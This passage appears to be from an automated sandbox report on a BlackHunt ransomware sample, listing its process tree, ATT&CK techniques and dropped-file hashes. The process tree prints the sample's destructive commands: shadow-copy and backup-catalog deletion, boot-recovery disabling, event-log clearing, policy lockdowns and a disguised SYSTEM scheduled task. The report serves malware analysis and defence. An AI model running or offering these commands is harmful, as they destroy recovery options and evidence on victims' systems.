    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1880
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe" /F
  2⤵
  PID:2548
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1320
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1524
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1204
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1988
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1812
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2012
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1036
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2220
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1624
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1028
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3576
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3664
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3624
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3832
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3820
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3896
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3980
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3776
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3952
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4016
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3884
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4012
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:112
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:1604
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2468
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2472
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1640
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4404
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe"
  2⤵
  - Deletes itself
  PID:4144
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4264

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1484

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1700

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
5fbb528c148c476f5d7c53da915f644e

SHA1
858aa328480fb7753e77eb7217130a27bac0f884

SHA256
5a3271d8dd6489bd2a34d68d3eacb0514548818695985d38a3ab3b8879e1cc39

SHA512
a57ef4105fe3819a81e95af27a127c8f40a90cd74ad8804b703b9f0299f2817f76113eaa89006d64ad1abed732dae051893b145c1fc37f4b06dde74c8a48a81d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
7fc14337b2ec2902434e5fdc736a84e4

SHA1
b8f1de7cb13e1c0eb009f432536f8f8264d5b1c5

SHA256
02a85b928f9070a2279733f88677983ffc16750de4b4df6eb77453a58ff460dc

SHA512
c09aa35182e14dddeb792a2057f7d1a25915eeea954eaaaaeff633dac82a01085410087a6ec2d185cce881c79c035b873c51942a8076004c4029edf5d8477d91

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
62cbd0f2da16ffb97a8dd9a7e92363a5

SHA1
f44deebb3b5fd7d20c0176f704392890e36c67ed

SHA256
30e0acc219855cbf8d383260c023a673c807b46500604193da02ed57b826e5cd

SHA512
c52620be5dad0bc145d5898c32acef36b73c5cd9fd6ad4463febe40e23af1f480b58174abb2847d976af01e54d64fdb9fc4b784167fd434f314bcbf0da1e68ce

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads